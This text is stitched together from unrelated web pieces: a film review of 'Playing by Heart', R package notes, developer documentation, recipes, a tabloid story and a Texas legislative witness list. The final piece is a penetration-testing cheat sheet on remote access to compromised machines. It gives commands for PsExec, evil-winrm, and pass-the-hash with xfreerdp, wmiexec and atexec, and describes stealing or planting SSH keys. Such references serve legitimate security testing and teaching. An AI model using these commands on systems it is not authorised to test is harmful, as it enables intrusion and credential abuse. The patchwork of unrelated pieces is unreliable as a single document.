Playing by Heart * * * (out of * * * * )
Directed by Willard Carroll. Cast: Angelina Jolie, Gena Rowlands, Sean Connery, Gillian Anderson, Ryan Phillippe, Dennis Quaid, Jon Stewart, Madeleine Stowe, Ellen Burstyn, Anthony Edwards, Jay Mohr, Patricia Clarkson, Natassja Kinski. 1998 - 121 minutes. Rated R (for profanity and sexual situations). Reviewed February 8, 1999.
"Playing by Heart" is an always-entertaining and fairly thoughtful film on the subject of love, and how everyone hopes for it in one way or another. Obviously borrowing the structure of a Robert Altman film, such as 1975's incomparable classic "Nashville" and 1993's "Short Cuts," "Playing by Heart" does not reach the overall ambitiousness of those two pictures, but is nicely done all the same.
In Altmanesque fashion, "Playing by Heart" introduces us to various people one at a time living in L.A. and, switching back and forth between them, their personal stories begin to play out. Inevitably, these seemingly unconnected characters will somehow come together during the climax, and also not surprising is that the several stories vary in quality.
By far the most effective and involving, and thankfully the one that is given the most screen time, involves Joan (Angelina Jolie), a talkative, witty college student who, one night, meets Keenan (Ryan Phillippe), a good-looking and quiet clubhopper. Although she strikes up a conversation with him, and thus begins to pursue him, he blatantly states to her that he doesn't date, even though he obviously likes her very much as well. Heartfelt and realistic, this section of the picture is also helped considerably by the wonderful performances from the effervescent Jolie, who definately has "rising star" written across her forehead, and Phillippe, who gives his best performance to date. Whenever these two wholly original characters appeared on the screen, things would suddenly brighten up a notch, and I always looked forward to seeing them in their next scene.
Also highly moving, if not given quite as much time as I would have liked, concerns Mildred (Ellen Burstyn), who opts to stay with her son, Mark (Jay Mohr), in the hospital where he is dying from AIDS. Gradually, several truths are let out in the open between mother and son, and the sequences between them were handled very well by the performers, particularly Burstyn, who has a heartbreaking scene towards the end where she holds her ailing grown child for the last time.
Third on the success meter, and also intelligently written and often funny, deals with lonely, but scared, thirtysomething Meredith (Gillian Anderson), a theatrical director who is afraid to get involved in a romantic relationship, even when she meets the "too-good-to-be-true" Trent (Jon Stewart). With this film, Anderson was so affirmed and believable in her character that I did not think of "The X-Files," in which she stars, once. Stewart also proves he is definately someone to watch, a comedian who in the last two months has had two dramatic feature roles, the other being as a threatening science teacher in "The Faculty." Adding a great deal of comedic support to this story, as well, must go to Meredith's huge dog who, in one amusing sequence, jumps up on Trent revealing that he is as big as a grown man. "Suddenly, I am feeling a bit inadequate," Trent slyly quips.
In the fourth plotline, Dennis Quaid stars as Hugh, a man who, night after night, drifts from bar to bar making up elaborate fictional stories about his wife and children to tell to women (including Patricia Clarkson and Natassja Kinski).
Out of all of the characters, the two matriarchs are Hannah (Gena Rowlands) and Paul (Sean Connery), a married couple about to celebrate their 40th wedding anniversary, coming to terms with Paul's recently discovered brain tumor and questions of his fidelity twenty-five years before. I was never really able to get involved in this particular story, even though, once again, many brightly written moments were able to seap through now and again, including an on-going joke about how Paul is always foolishly giving away the endings of movies Hannah happens to be watching on television. Rowlands is one of the biggest talents among her elder peers, and she is able to bring a great deal of humanity to her underwritten role. Likewise for Connery, who has made his first serious film in a long time (I'm sure he would like to forget that "The Avengers" ever happened).
Among all of these alternating characters, the only story that is a total waste, has to do with Gracie (Madeleine Stowe), a 40-ish woman who constantly is meeting a man (Anthony Edwards) at a hotel and indulging in a strictly sexual relationship, despite both of them being married. Luckily, this story only very sporadically appears, so it doesn't really affect the film as a whole even though I am not quite sure why it wasn't just completely scrapped. Stowe can be a wonderful actress, and is saved from being all-in-all wasted due to an earnest, somewhat-redeeming scene during the epilogue, in which all eleven main characters are revealed to be somehow interconnected (although I will not dare give away the exact details).
Even with its occasionally uneven structure, "Playing by Heart" ultimately turned out to in no way be a disappointment because when the film was good, it absolutely sparkled, thanks to the fast and quirky dialogue and the mature way in which the characters were handled. The Joan and Keenan story, especially, was good enough that an entire film could have easily just been about those two. In the first scene, Joan reminisces about a man she once knew who told her, "talking about love is like dancing about architecture." Tellingly, "Dancing about Architecture" was the original title of "Playing by Heart," but the line remains to stand for a lot about the way we, as human beings, all naturally yearn to love and be loved, even during its unavoidable ups and downs.
- Copyright 1999 by Dustin Putman Http://hometown.aol.com/FilmFan16/index.html
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


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rfishbase
Went through demo of rfishbase with Tomomi. Improved error handling, added a few data types and a few use cases.
I always forget that I have to drop nulls by indexing, not my return values of sapply.
x[!sapply(x, is.null)]
Very annoyed with fishbase id numbers (being discontinuous listings and unable to query xml by anything more intelligent). Querying all fishbase ids 1:30000, I get only 999 fish. hmm. Could this be an R memory issue? No sign of such errors. I also illustrate custom functions for processing output.
UPDATE: fixed these errors generally. Seemed specific to zero. Did run with some memory errors; hopefully avoided. See updated post 09-01-11.
require(rfishbase)
# Now let's just grab the entire fishbase database,
fish.data <- getData(1:30000)
length(fish.data)
[1] 999
habitatSearch <- function(keyword, fish.data){
# A function to search for the occurances of a keyword in habitat description
# Args:
# keyword: pattern to be used by grep
# fish.data: list of outputs from fishbase(), or from getData()
# Example:
# data <- getData(1:10)
# habitatSearch("feshwater", data)
x <- sapply(fish.data, function(x) grep(keyword, x$habitat) )
x <- as.integer(x)
}
x <- habitatSearch("reef", fish.data)
reef <- sum(x, na.rm=T)
nonreef <- sum(is.na(x))
percent_reef <- reef/(reef+nonreef)
I’d like to be able to query fishbase by something other than fishbase’s own id numbers, but might have to make that database myself, since they don’t seem to be listed anywhere.
Taxize
Meanwhile, I’m looking into how we can query between common names and scientific names at different levels using the ROpenSci package taxize from Scott. I’ve just made a few modifications to handle some xml parsing with xpath expressions and formatting. Tweaked some functions in taxize.R script-set for grabbing scientific names. For instance, if I want all Plethodon salamanders in the Integrated Taxanomic Information System database
require(taxize)
xml <- get_itis_xml("Plethodon ")
out <- parse_itis(xml)
head(out)
sci tsn com
1 Plethodon aeneus 208328 <NA>
2 Plethodon ainsworthi 668315 Catahoula Salamander
3 Plethodon albagula 208278 Western Slimy Salamander
4 Plethodon amplus 668316 Blue Ridge Gray-cheeked Salamander
5 Plethodon angusticlavius 668317 Ozark Salamander
6 Plethodon asupak 685566 Scott Bar Salamander
Note I get common names, scientific names, and tsn id numbers. Using a tsn id number I can query the whole taxonomy, by querying by the given tsn ids:
> classification(685566)
rank taxon tsn..length.tsn..
1 Kingdom Animalia 202423
2 Phylum Chordata 158852
3 Subphylum Vertebrata 331030
4 Class Amphibia 173420
5 Order Caudata 173584
6 Family Plethodontidae 173631
7 Subfamily Plethodontinae 550197
8 Genus Plethodon 173648
9 Species Plethodon asupak 685566
Pretty cool.


The Experlence of Generations
In each bottle
Experience a true “American Dream” at Winehouse and visit the first tasting room in the United States established by a former European mirgant vineyard worker and his family.
Experience a true “American Dream” at Winehouse and visit the first tasting room in the United States established by a former European mirgant vineyard worker and his family.


This post is for myself more than anything else, just because I keep forgetting the steps involved.
I’m using SpringSource Tool Suite 2.9.1.RELEASE, which is based on Eclipse 3.7.2 (Indigo). I have the egit and m2e Eclipse plugins installed.
The scenario
You have a brand new, pretty-much-empty GitHub project (other than the README, say—but no Maven stuff yet), and you want to import it into Eclipse as a Maven project.
The steps
- Add the remote GitHub repo to your list of Git repos in Eclipse.
- In Eclipse, go to File → Import → Git → Projects from Git. (I’m on a Mac; the menu may be a little different for other platforms.)
- On the “Select Repository Source”, choose “URI”.
- On the “Source Git Repository” pane, enter the URI info. It might be something like
<EMAIL_ADDRESS>, for example. - On the “Branch Selection” pane, choose the master branch.
- On the “Local Destination” pane, decide where you want the local copy to live.
- Where it asks you to select an import wizard, choose “Use the New Project wizard” and click “Finish”.
- Now you have to choose a New Project wizard. Choose Maven → Maven Project.
- From here just create the project like you would any other new Maven project. Once you’re done, it will show up in your list of projects in the Package Explorer view, and sharing should be activated.


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The configuration object with the following structure:
facetId - {string} - A friendly id for the facet.
Should be unique in the set of facets, and should be usable as a SPARQL variable.
predicate - {string} - The predicate or property path that defines the facet values.
hierarchy - {string} - The predicate or property path that defines the hierarchy of values.
depth - {number} - The maximum depth of the hierarchy. Default is 3.
name - {string} - The title of the facet. Will be displayed to end users.
[specifier]{string} - Restriction on the values as a SPARQL triple pattern.
Helpful if multiple facets need to be generated from the same predicate,
or not all values defined by the given predicate should be selectable.
?value is the variable to which the facet selection is bound.
For example, if predicate has been defined as
<http://purl.org/dc/terms/subject> (subject),
and there are different kinds of subjects for the resource, and you want
to select people (<http://xmlns.com/foaf/0.1/Person>) only, you would
define specifier as '?value a <http://xmlns.com/foaf/0.1/Person> .'.
[enabled]{boolean} - Whether or not the facet is enabled by default.
If undefined, the facet will be disabled by default.
[endpointUrl]{string} - The URL of the SPARQL endpoint.
Optional, as it can also be given globally in
FacetHandler config.
[headers]{Object} - Additional HTTP headers.
[preferredLang] - {string|Array} - The language tag that is preferred
when getting labels for facet values, in case the value is a resource.
The default is 'en'.
Can also be a list of languages, in which case the languages are tried
in order.
If a label is not found in the given languages, a label without a
language tag is used. If a label is still not found,
the end part of the resource URI is used.
Supported label properties are skos:prefLabel, and rdfs:label.
[priority] - {number} - Priority for constraint sorting.
Undefined by default.


Contains the details of a single application log created by calling syslog within the context of a request.
- Parameters
-
| LogLine | $pb | The underlying protocol buffer. |
| google\appengine\api\log\AppLogLine::getDateTime |
( |
| ) |
|
Returns The same value as getTimeUsec() as a DateTime.
- Returns
- DateTime The time the log was created accurate to the second.
| google\appengine\api\log\AppLogLine::getLevel |
( |
| ) |
|
| google\appengine\api\log\AppLogLine::getMessage |
( |
| ) |
|
- Returns
- string The message logged by the application.
| google\appengine\api\log\AppLogLine::getTimeUsec |
( |
| ) |
|
- Returns
- double The time the log was created in microseconds since the Unix epoch.
The documentation for this class was generated from the following file:
- code/googleappengine-read-only/python/php/sdk/google/appengine/api/log/AppLogLine.php


Recent orders
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Clients |
Orders# |
Date |
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| Paid Active | John Doe | 7556588 | Today 8:30 |
| Paid Active | Thomas Bayer | 7556588 | Today 16:30 |
| Paid Inactive | Nicolas Karabat | 7556588 | Yesterday |
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| Paid Active | John Doe | 7556588 | Today 8:30 |
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| Paid Inactive | Nicolas Karabat | 7556588 | Yesterday |
| Unpaid Inactive | Alexandre Pome | 7556588 | 23th May |
Recent Tickets
Status |
Subject |
Department |
Date |
|---|---|---|---|
| Open | Website time load | Support | Today 8:30 |
| Open | Database table format | Support | Today 16:30 |
| Progress | Loosing control on server | Support | Yesterday |
| Closed | Authorizations keys | Support | 23th May |
| Open | Website down for one week | Support | Today 8:30 |
| Open | Restoring default settings | Support | Today 16:30 |
| Progress | Loosing control on server | Support | Yesterday |
| Closed | Authorizations keys | Support | 23th May |


UAV TO CHECK the responsive content decrease the size of the window gradually so that you may notice the change in the alignment of the window


My Recipes
Favourite Recipies
Sticky Vietnamese caramel chicken
chicken thigh fillet onion chilli fish sauce coriander Sticky Vietnamese caramel chicken
- Prep time: 30 minutes
- Cook time: 10 minutes
- Serves: 4
Ingredients
- 2 tablespoons peanut oil
- 6 chicken thigh fillets
- 450g packet 2 1/2 minute jasmine rice
- 45g tub Vietnamese lemongrass and kaffir lime paste
- 1/4 cup kecap manis
- 2 tablespoons brown sugar
- 2 teaspoons fish sauce
- 2 tablespoons lime juice
- 1 Lebanese cucumber
- 1 long red chilli
- 1 green onion
- 1 bunch baby choy sum, trimmed
- Fresh coriander sprigs, to serve
Directions
- Step 1: Heat half the oil in a large frying pan over medium-high heat. Cut chicken in half. Cook chicken, turning, for 4 to 5 minutes or until browned all over and almost cooked through.
- Step 2: Meanwhile, cook rice following packet directions. Combine Vietnamese paste, kecap manis, sugar, fish sauce and lime juice in a jug. Set aside.
- Step 3: Finely chop cucumber and thinly slice chilli and green onion. Combine cucumber, chilli and onion in a bowl. Set aside.
- Step 4: Reduce heat to medium-low. Pour sauce mixture over chicken in pan. Turn to coat. Simmer for 2 minutes.
- Step 5: Meanwhile, heat a wok over high heat. Add remaining oil, swirling to coat. Cut stems from choy sum leaves. Add stems to wok. Stir-fry for 30 seconds. Add leaves. Stir-fry for 30 seconds or until just wilted. Turn chicken in sauce. Simmer for a further 30 seconds.
- Step 6: Divide rice, choy sum, chicken and sauce among serving bowls. Sprinkle with cucumber mixture and top with coriander sprigs. Serve.
Marmalade pork with pistachio couscous salad
olive oil loin medallions couscous beans orange parsley leaves Marmalade pork with pistachio couscous salad
- Prep time: 20 minutes
- Cook time: 10 minutes
- Serves: 4
Ingredients
- 2 tablespoons extra virgin olive oil
- 3 teaspoons mild Moroccan seasoning
- 4 large pork loin medallions
- 80g packet pistachio kernels
- 2 x 100g packets roasted vegetable couscous
- 150g green beans
- 2 tablespoons sweet orange marmalade
- 1/4 cup classic vinaigrette dressing
- 1/4 cup fresh flat-leaf parsley leaves
- 1 green onion
Directions
- Step 1:Boil kettle.
- Step 2: Combine half the oil with the seasoning in a shallow dish. Add pork. Turn to coat. Heat a large frying pan over medium-high heat.
- Step 3: Place pistachios in a small frying pan over medium-high heat. Cook, stirring occasionally, until golden and toasted. Transfer to a plate.
- Step 4: Cook pork in large frying pan, turning, for 5 to 6 minutes or until browned.
- Step 5: Meanwhile, place couscous in a large heatproof bowl. Add 1 1/3 cups boiling water. Stir well with a fork.
- Step 6: Heat remaining oil in same small frying pan over medium-high heat. Trim ends from beans. Add to pan. Cook, tossing occasionally, until bright green and just tender.
- Step 7: Brush pork with marmalade. Turn to coat, brushing with a little more marmalade. Fluff couscous with a fork. Add dressing, pistachios, parsley and sliced onion. Season with salt and pepper. Toss to combine. Serve pork on couscous, with beans.
Chicken schnitzel with slaw
chicken thigh fillet onion chilli fish sauce coriander Chicken schnitzel with slaw
- Prep time: 10 minutes
- Cook time: 10 minutes
- Serves: 4
Ingredients
- 80g sachet garlic and herb schnitzel mix
- 2 teaspoons Mexican chilli powder
- 1/2 cup buttermilk
- 500g chicken schnitzel (uncrumbed)
- 2 tablespoons extra virgin olive oil
- 1/4 cup plain Greek-style yoghurt
- 2 teaspoons chipotle hot sauce
- 2 tablespoons lime juice
- 250g packet rainbow slaw
- 1/4 cup fresh coriander leaves
- Salad leaves, to serve
Directions
- Step 1: Combine schnitzel mix and chilli powder in a bowl. Season with salt and pepper. Place buttermilk in a separate bowl.
- Step 2: Working with 1 piece of chicken at a time, dip chicken in buttermilk, then toss in breadcrumb mixture to coat evenly. Place on a plate.
- Step 3: Heat oil in a large frying pan over medium-high heat. Cook chicken, in 2 batches, turning for 3 to 4 minutes or until golden and cooked through. Drain on paper towel.
- Step 4: Meanwhile, combine yoghurt with hot sauce and lime juice. Place slaw and coriander leaves in a large bowl. Add yoghurt dressing. Toss well to combine. Serve chicken with slaw and salad.
Easy chicken parmigiana
chicken thigh fillet onion chilli fish sauce coriander Easy chicken parmigiana
- Prep time: 20 minutes
- Cook time: 25 minutes
- Serves: 4
Ingredients
- 2 teaspoons finely grated lemon rind
- 1 garlic clove, crushed
- 1 teaspoon Masterfoods® Oregano Leaves
- 1 cup panko breadcrumbs
- 1/4 cup plain flour
- 1 egg, lightly beaten
- 1 tablespoon milk
- 2 chicken breast fillets, halved horizontally
- 1/4 cup extra virgin olive oil
- 1 brown onion, finely chopped
- 2 garlic cloves, crushed, extra
- 700g bottle tomato passata
- 2 tablespoons chopped fresh basil, plus extra to serve
- 1/2 x 250g ball buffalo-style mozzarella, sliced
- 1/3 cup finely grated parmesan
- Salad leaves, to serve
Directions
- Step 1: Combine rind, garlic and oregano in a large shallow bowl. Add breadcrumbs. Season with salt and pepper. Mix well. Place flour in a bowl. Whisk egg and milk in a separate shallow bowl. Working with 1 chicken piece at a time, toss in flour. Dip in egg mixture, then press in breadcrumb mixture to coat. Transfer to a plate.
- Step 2: Heat 2 tablespoons oil in a large frying pan over medium-high heat. Cook chicken for 4 to 5 minutes each side or until golden. Transfer to a plate.
- Step 3: Heat remaining oil in pan. Add onion. Cook, stirring, for 5 minutes or until softened. Add extra garlic. Cook for 1 minute or until fragrant. Stir in passata and basil. Season. Bring to a simmer. Simmer for 3 to 4 minutes or until slightly thickened.
- Step 4: Preheat grill on medium-high. Spoon half the passata mixture onto a baking tray. Top with chicken. Spoon over remaining passata mixture. Top chicken with mozzarella and parmesan. Grill for 4 to 5 minutes or until cheese is melted and golden. Stand for 2 minutes. Top with extra basil. Serve with salad leaves.
Aussie-style beef and salad tacos
beef tacos coriander tomatoes lettuce cheese Aussie-style beef and salad tacos
- Prep time: 15 minutes
- Cook time: 20 minutes
- Serves: 10
Ingredients
- 1 tablespoon olive oil
- 1 medium brown onion, finely chopped
- 2 teaspoons ground cumin
- 2 teaspoons ground coriander
- 1 teaspoon paprika
- 1/4 teaspoon Masterfoods Ground Cayenne Pepper
- 500g beef mince
- 400g can crushed tomatoes
- 10 jumbo taco shells
- 4 large iceberg lettuce leaves, shredded
- 2 medium tomatoes, chopped
- 1 1/2 cups grated tasty cheese
Directions
- Step 1: Preheat oven to 180°C/160°C fan-forced.
- Step 2: Heat oil in a large frying pan over medium-high heat. Add onion. Cook, stirring, for 3 minutes or until softened. Add cumin, coriander, paprika and cayenne pepper. Cook, stirring, for 30 seconds or until fragrant. Add mince. Cook, stirring with a wooden spoon to break up mince, for 8 minutes or until browned. Add crushed tomato. Cook, stirring occasionally, for 5 minutes or until sauce has thickened.
- Step 3: Meanwhile, heat taco shells following packet directions. Divide beef mixture and salad tacos evenly between taco shells. Top with lettuce, chopped tomato and cheese. Serve.


--- layout: post title: Fire at my condo date: 2009-12-19 02:01:01.000000000 -08:00 type: post published: true status: publish categories: [] tags: [] meta: {} author: ---
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NASA Mission
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Digital Life My Way
The local authourity for excellence in photograpy, Meyer Photography is proud and excited to announce their move into all things digital. Digital Life My Way is the newest way to capture, share, and save all of lifes greatest moments. Come into one of our three new stores to check out all we have to offer. |
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Elias Eskelinen
aka jonnelafin
Home
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Ensure you have set up Syberia prior to proceeding.
Syberia is a meta-framework: it allows you to build engines which form the basis of your R projects. If your project consists primarily of machine learning projects you intend to push to a production system, use the modeling engine.
If it consists primarily of visualization dashboards, you will learn how to modularize your code to make the process of building dashboards faster and then pull it out into a dashboard engine for future projects. Almost any project has abstractions lurking around the corner that will help you with similar future projects.
Throughout this tutorial, we will focus our efforts on the modeling engine.
Recall our command from earlier.
run("example")
This command executed the model file "models/dev/example1":
list(
import = list(R = "iris"),
data = list(
"Create dep var" = list(renamer, c("Sepal.Length" = "dep_var")),
"Create ID var" = list(multi_column_transformation(seq_along), "dep_var", "id")
),
model = list("lm", .id_var = "id"),
export = list(R = "model")
)
Let's briefly traverse through what happened:
run
.
run
function found the closest matching model,
in this case "models/dev/example1", using fuzzy matching (so example
really means the regular expression .*e.*x.*a.*m.*p.*l.*e.*
, that
is, any instance of an "e" followed by some characters and then an "x" followed by
some letters and then an "a", etc.).
syberia_engine
object "compiled" the resource.
Note the local variable renamer
in the model file: it
is not actually defined anywhere! As we'll see later, the models controller has injected
it for us. It is possible to define and parametrize new feature engineering on the fly
and the models controller will automatically inject your helpers. We'll go into
that and more on controllers down the road.
renamer
,
we could halt execution, fix the typo, and type run(, "2/1")
,
meaning "re-run the first substage of the second stage of the last executed model." Then
we could finish the model using run(, "2/2", "export")
("run from 'Create ID var' to 'export'") without losing our work or having to start
from scratch with the raw data. More on this later.
$run
to
execute the stages we're asking for. The result of calling the method is a list of
two environments, before
and after
,
one representing what existed prior to running the step and the other what the result
was afterward.  Do you notice the column
names changing? The modeling engine mounts shortcuts for inspecting data before and
after the last run, so this is equivalent to ls(B)
and
ls(A)
, respectively. Try it! Having easy interactive access
to the data before and after munging is intended to speed up the feature
engineering inspection and debugging process, typically a cumbersome component of
data science.
c("import", "data", "model", "export")
,
were stitched together through stages
by the models controller. The modeling engine comes with those four pre-built stages
but it is trivial to extend them or define more if you're doing visualization, report generation,
more impressive ensemble or stack pipelines, and any other tasks. Under the hood,
think of the stagerunner as executing a chain of functions operating on a context,
a designated R environment object for playing with all the objects necessary to
complete the modeling process. Later, it will be possible to generalize the interactive
Syberia approach to arbitrary DAG (directed acyclic graph) runners.
export = list(R = "model")
says "export the model to this R session" under the global variable model
.
Both the import and export stages are fully customizable if we want to read the
data from or write the model to a variety of backends.
After running the model (i.e., the full modeling pipeline) we have a ready-to-deploy model object. We call this object deployable because it has everything it needs to replicate both the feature engineering pipeline and the final score prediction on a single row of streaming data, and it is trivial to serialize.
If the model was predicting the probability a user
will click on a link from a very raw, unclean dataset, we could send the
raw 1-row dataset for a new user to a simple server that called model$predict(one_row)
and returned the final score. The model object takes care of reproducing
the entire data pipeline on the single row of data through mungebits.
The end goal of the Syberia modeling engine is to make the process of building any model, no matter how complex or stacked or multi-staged, the rather trivial combination of pre-built modular and testable units yielding an object that can execute the entire streaming prediction, from assembling raw data sets to producing final scores: we want to see CRAN come alive.


public final class AppDefine
extends java.lang.Object
| Modifier and Type | Field and Description |
|---|---|
static int |
ADD_STATION_PANEL |
static int |
CHART_3PM |
static int |
CHART_9AM |
static int |
CHART_MAX |
static int |
CHART_MIN |
static Station |
currentStation |
static StationData |
currentStationData |
static boolean |
DEBUGGING |
static DateTimeFormatter |
dtfOut |
static Favorites |
favorites |
static int |
FIRST_RUN_PANEL |
static int |
MAIN_PANEL |
static int |
NOTIFICATION_CLOSE_TIME_MILLIS |
static States |
states
Current data used by the view.
|
static int |
STATION_DETAIL |
static int |
TEMP_COOL |
static int |
TEMP_FREEZING |
static int |
VIEW_CHART |
static int |
VIEW_HISTORY |
| Constructor and Description |
|---|
AppDefine() |
| Modifier and Type | Method and Description |
|---|---|
static void |
initApp(javax.swing.JFrame mainFrame)
initialises ui elements
|
public static final int FIRST_RUN_PANEL
public static final int MAIN_PANEL
public static final int ADD_STATION_PANEL
public static final int STATION_DETAIL
public static final int VIEW_CHART
public static final int VIEW_HISTORY
public static final int TEMP_FREEZING
public static final int TEMP_COOL
public static final int NOTIFICATION_CLOSE_TIME_MILLIS
public static final int CHART_9AM
public static final int CHART_3PM
public static final int CHART_MAX
public static final int CHART_MIN
public static final boolean DEBUGGING
public static States states
public static Favorites favorites
public static Station currentStation
public static StationData currentStationData
public static DateTimeFormatter dtfOut


Enjoy our comfortable, quiet environment while you wait for your session. Commplentary coffee, tea and water is always available.
Newly improved noise-reduced rooms ensures your privacy so you can be assured of a space designed with your emotional security. Your comfort and ease of mind is our utmost concern.
Easy access from Highway #1, Lougheed Highway and Brunette Avenue. We are just east of Lougheed Mall.
Do you have any questions? Please do not hesitate to contact us directly. Our team will come back to you within a matter of hours to help you.
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778-668-4176
selfmatterscounselling
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Bride’s mum upstages own daughter by wearing white lacy dress to her wedding
Facebook users slammed the mum's dress as “cheap” and "classless" after it was shared online
by Neil MurphyThere are some unspoken rules when it comes to weddings - particularly when it comes to upstaging the bride on her big day.
This newlywed's mum didn't get the memo when she opted to wear a white lace gown to her own daughter's nuptials.
Facebook users have expressed their horror after they came across this picture on the That’s It, I’m Wedding Shaming group.
One mortified guest shared the image, and included the caption: “Shaming the s*** out of the mother of the bride.
“I went to a family wedding over the weekend and the bride was gorgeous, it was such a pretty wedding. [But] her mum wore a white, lace dress.”
The snap shows the the mother-of-the bride flaunting a white lace midi-dress with long, lacy sleeves accompanied by the bride and
Facebook users expressed their shock at the woman's
“Call me old fashioned but I’d be p***** off if anyone besides me wore white to my wedding.”
Another added: “I don’t know why mothers are like this. I have four kids, two of which are girls.  This is just sad to me.”
Other Facebook users said the dress looked “cheap” and "classless".
One outraged user said they would have demanded their mum change into a new dress if she had worn it to her own wedding.


WITNESS LIST
State Affairs
January 31, 2018 10:00 AM
Campus Free Speech
ON:
Bishop, Elizabeth (Self), San Marcos, TX
Bonilla, Ray General Counsel (Texas A&M University System), College Station, TX
Bonin, Lillian State Relations Director (UT SG), Austin, TX
Briscoe, Rick Legislative Director (Open Carry Texas), San Antonio, TX
Cahn, Adam (Cahnman's Musings), Austin, TX
Cash, Cheryl G. Interim General Counsel (Texas Southern U.), Houston, TX
Cervantes, Denise Editor in Chief (University Star), San Marcos, TX
Clark, Amy Vice Chairman (Republican Party of Texas), Three Rivers, TX
Cohen, Shay Opinion Editor (The Shorthorn), Arlington, TX
Ellery, Tom (also providing written testimony) (S.O.S. Save Our Schools/Convergence
Church Ft. Worth), Fort Worth, TX
Escobar, Manuel Austin Civil Rights Committee Co-Chair (also providing written
testimony) (Anti-Defamation League), Austin, TX
Friedman, Ivan Attorney (Self), San Marcos, TX
Gasponi, Claudia Senator, Student Government (also providing written testimony)
(Students), San Marcos, TX
Hawkins, Breton (Self), Burleson, TX
Huffaker, John Vice Chancellor & General Counsel (Texas Tech University System),
Lubbock, TX
Johnson, Jacob (Self), Fort Worth, TX
Lane, Dustin Senior Field Director (also providing written testimony) (Generation
Opportunity), Cypress, TX
Langhofer, Tyson Senior Counsel (Alliance Defending Freedom), Scottsdale, AZ
Lewis, Wesley Associate, Haynes and Boone LLP (Freedom of Information Foundation of
Texas), Austin, TX
Lindsay, Thomas Director, Higher Education Center (Texas Public Policy Foundation),
Austin, TX
Martinez, Rudy (Self), San Marcos, TX
Maxey, Glen Legislative Director (Texas Democratic Party), Austin, TX
McCarty, Kate Former President (also providing written testimony) (College Media
Association), San Marcos, TX
McDonald, Tony General Counsel (Empower Texans; self), Austin, TX
Meed, Alex (also providing written testimony) (Self), Round Rock, TX
Moffet, Rachel Vice President, Student Affairs (Texas Southern University), Houston, TX
Oriona, Chiemezuo President (also providing written testimony) (Pan African Action
Committee), San Marcos, TX
Perez, Narda Editor in Chief (The Shorthorn, UT Arlington's Student news agency),
Arlington, TX
Pruett, Collin Director of Operations (College Republicans), San Marcos, TX
Pugh, Sr., Daniel J. Vice President for Student Affairs (Texas A&M University), College
Station, TX
WITNESS LIST
State Affairs
January 31, 2018 10:00 AM
Ramos, Jennifer National Committee Woman (Texas Young Democrats/Young Democrats
of America), Austin, TX
Robertson, Tafari (Self), San Marcos, TX
Saenz, Jonathan Attorney & President (Texas Values & self), Austin, TX
Salinas, Benjamin Social Media Director (College Dems.), San Marcos, TX
Seago, John Legislative Director (Texas Right to Life), Houston, TX
Sharma, Saurabia Director of Events (Young Conservatives of Texas at UT Austin), Allen,
TX
Sharphorn, Dan VC & General Counsel (The University of Texas System), Austin, TX
Shepherd, David Student (Self), Katy, TX
Starr, Brantley Deputy First Assistant Attorney General (Office of Attorney General),
Austin, TX
Trauth, Denise M. President (Texas State University), San Marcos, TX
Ward, Paul VP for Legal Affairs and Government Relations (SMU), Dallas, TX
Wick, Naomi Citizen (also providing written testimony) (Pro-Life Groups), San Marcos,
TX
Wickier, Catherine Campaign Intern (also providing written testimony) (YDA College
Caucus, Tx State College Dems), San Marcos, TX
Zwiener, Erin (Self), Driftwood, TX
Providing written testimony:
ON:
Becerra, Ruben (Self), San Marcos, TX


Remote access
Reverse shells are useful when you does not have credentials or you just exploited a service. Here are listed more methods to access remotely a machine.
Linux
SSH + Dropping a key
If you compromise a user and is a ssh capable user (check for a login shell in /etc/passwd), it is possible to get his ssh key in ~/.ssh/id_rsa
if its located in the typical location. If there is no key, it is always possible to drop one with two simple commands:
1 2 3 4 5 6 7 8 |
|
Windows
Below is a table used as a cheatsheet for different ways to connect remotely depending on open ports:
RDP
- Port: 3389
- Tools
- Microsoft RDP Client (
mstsc.exe
)1
mstsc.exe /v:hostname:port /admin
- XFreeRDP:
1
xfreerdp /u:user /d:domain /pth:<NTLM> /v:<IP_ADDRESS>
- RDesktop:
1
rdesktop -g 90% <IP_ADDRESS>
- Microsoft RDP Client (
SMB
Quote
SMB has been leveraged for file administration on Windows and *nix systems for decades. Another feature often abused by attackers is the use of administrative shares (C$, ADMIN$, IPC$) to push a service binary to a target machine, then start the service for semi-interactive I/O. SysInternalsSuite includes the PsExec binary which is largely credited for developing and leveraging this technique. Local administrative privileges are required to push the service binary to the ADMIN$ share, after which an RPC/SVCCTL call creates and starts the remote control service. IPC$ is leveraged to create named pipes for input and output which act as a semi-interactive shell.
Credit: https://dolosgroup.io/blog/remote-access-cheat-sheet
- Port: 445
-
Tools
1
PsExec.exe \\<IP_ADDRESS> -u user -p pass cmd.exe
1
psexec.py<EMAIL_ADDRESS>cmd.exe
1
smbexec.py<EMAIL_ADDRESS>cmd.exe
1
winexe --system --uninstall -U domain/user%pass //<IP_ADDRESS> cmd.exe
Info
If Credentials with administrative privileges are provided, it is possible to spawn a shell with NT Authority\System user passing the
-s
flag to PsExec.exe
Also if you are doing this in an interactive command prompt, you could also pass the-i
flag to interact with the created process.
WinRM
- Port: 5985/TCP (HTTP), 5986/TCP (HTTPS)
-
Tools
-
- Normal login
1
evil-winrm -i <IP_ADDRESS> -u Administrator -p 'MySuperSecr3tPass123!'
- Cert Login
1
evil-winrm -i <IP_ADDRESS> -c user.crt -k user.key
Info
It is needed to use
-S
flag if you are connecting to a HTTPS Endpoint - Normal login
-
From Windows Machine
1
New-PSSession -Computer IP -Authentication Negotiate -Credential USER | Enter-PSSession
- In the section changing user context a method to create a Credential object is explained.
-
WMI
- Port: 135/TCP (RPC), High TCP (DCOM)
- Tools
- Impacket-wmiexec
- Normal
1
wmiexec.py domain/user:pass@target_ip
- Pass the hash
1
wmiexec.py user@target_ip -hashes LM:NT
- Normal
- wmic.exe
1
wmic.exe /USER:"domain\user" /PASSWORD:"Password" /NODE:<IP_ADDRESS> service get "startname,pathname"
- Impacket-wmiexec
Scheduled Tasks
- Port: 135/TCP (RPC), High TCP (DCOM)
- Tools:
- atexec (Impacket)
1
atexec.py user@target_ip -hashes LM:NT
- atexec (Impacket)
Changing user context for cmd
- In a cmd interactive session
- runas
1
runas /netonly /user:domain\user "powershell.exe"
- psexec
1
